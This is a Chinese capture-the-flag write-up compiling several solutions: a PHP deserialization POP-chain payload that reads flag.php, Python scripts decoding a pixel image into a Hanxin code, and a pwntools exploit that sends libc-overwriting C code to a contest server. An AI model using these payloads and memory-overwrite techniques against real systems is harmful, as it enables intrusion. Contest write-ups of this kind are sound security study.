writeup由做出题的相应队友给出,我只综合了一下
选出游戏中的每个队伍,之后输入token
输入token得到flag.php。
简单pop链构造:op=2的时候,去让read()
中的file_get_contents
执行。
两个bypass:
会判断传入的字符串是否为可打印字符.而原类修饰均为
protected会生成
%00`.
php7对类的修饰不敏感,直接把属性修饰为public,可以正常序列化并绕过is_valid
:
__destruct()
会在反序列化的时候把op置为1,且对op的判断为强类型比较,但process
中对op为弱类型比较,直接令op=2即可绕过(2==“2”)
发现出不了flag。尝试将对象个数改为原类应有的属性的值(3),即可。
<?php
class FileHandler {
public $op = 2 ;
public $filename = "flag.php";
}
$a = new FileHandler();
echo urlencode(serialize($a));
//2变3
//?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
文件是PNG头,修改文件后缀为png,该文件像素为12*36
#对该文件的RGB进行识别
#255 记为1 0记为0
from PIL import Image
#import sys
#im = Image.open(sys.argv[1])
im = Image.open('file.png')
width = im.size[0]
height = im.size[1]
temp = ''
#竖着识别
for w in range(width):
for h in range(height):
pixel = im.getpixel((w, h))
temp += '1' if pixel[0] == 255 else '0'
temp += '1' if pixel[1] == 255 else '0'
temp += '1' if pixel[2] == 255 else '0'
print(temp)
运行代码得到
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000001111001000000001100000001111101111111110011000010011111111101111101000001111111001001001100000101111101011111110101011000000111110101111101010001110101001001110100010101111101010001101101010101111100010101111101010001011001011101111100010101111111111111010101010000110111111111111111111111111101010110011000100111111110010011100101001111111011011011111110000010101111010101100011111001111101010111101001000000110000111111111101110010110011001100110000001111111111111111111111001110111110000111111100000000000000000001101101110101111100010110110111101001111000010111111100010101111010010001100101001011111101010101011001000110001101110001111101111010011110111010000111100001111100101001111000000010001011010001111100100100001101100001000010011101111100010110001101011110100110111001111111001000111011001000101111111111111111111111010001010000010111111111111101010001110000111111111100010101111101010001101111111111111100010101111101010001010100111111111100010101111101011111011111111111111111110101111101000001101001111111111100000101111101111111111111111111111111111101111100000001100111111111111100000001111111111111111111111111111111111111111111111111111111111111111111111111
弄成36*36的汉信码,并旋转,反色:
#incoding:utf-8
from PIL import Image
str = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100101101101101101101111111110110101101111100100100101101100100100111111101101101101101101100111111111111111000111000011010010010111111010000010110111000010010010111101100010001111010010010011000111000111111111111111001111001111001001001111111011010111010111000110101101010001100110000111001001001111001111001111111111111111111110111110110101011010111100101101110111000110111011011111001001111010110101010011101111100111111111111111001011111101101101001101101101111001011111000111010001110000101101011001000111100111001111111111111111111111000000001011001010011010010001010000001001000101010000111000100011001010111111111111111111111111111111111111000010001000001101101000110111101000100110001001001110010010001110000000111111111111111111111111111111111111001011001000110111111110011111100110110111101111100001000001000100101010111111111111111111111111111111111111100111100111100100100111000011011000000110101000101101111011010110111111100100100111100111100111111111111111000111000110010010010111100011111111001000110010001110100010011111111111010010010110000111000111111111111111001101101101101101101111111011001111111111101111011001001001101001111111101101101101101101001111111"
length_str = len(str)
print (length_str)
MAX = int(len(str)**0.5) #根据01的个数生成黑白二维码的 size
print (MAX)
pic = Image.new("RGB",(MAX,MAX))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
由于缺一块并不能识别,因此需要进行修补,修补比较暴力,看运气
用PS慢慢尝试吧
本地不好打通,得用合适的libc版本。该题的脚本如下,执行并输入token即可得到flag。
'''
payload:
char *a, *b,*p;
int main()
{
a = "";
b = a - leak;//0x7F8FE6E5C028 - 0x7F8FE6933000
a= b + 6225992;
a[0] = 0;
a = b + 6229832;
p = 0xCD0F3 + b;
a[0] = (p)&0xFF;a[1] = (p>>8)&0xFF;a[2] = (p>>16)&0xFF;
}
'''
from pwn import *
p = remote('182.92.73.10',24573)
payload = "char *a, *b,*p;int main(){a = "";b = a - 5410856;a= b + 6225992;a[0] = 0;a = b + 6229832;p = 0xCD0F3 + b;a[0] = (p)&0xFF;a[1] = (p>>8)&0xFF;a[2] = (p>>16)&0xFF;}"
p.sendline(payload)
p.interactive()
进入主函数发现逻辑代码,进入unk_403040可以发现是一个数组。
进入vm_operad函数发现逻辑代码。
可以发现在数组元素为1时修改数组v4,在数组元素为7时作比较,当二者不等时退出程序。
因此将以上代码拷贝并将相应变量初始化,逆向推理即可得出flag。
这个题初中数学,没啥可说的,就是解md5,解方程,三元一次方程和二次方程都好解,直接看图吧。
首页
按任意键继续得到
接下来给出个计算题,答案是74 68 31,并进入下一关
计算得到结果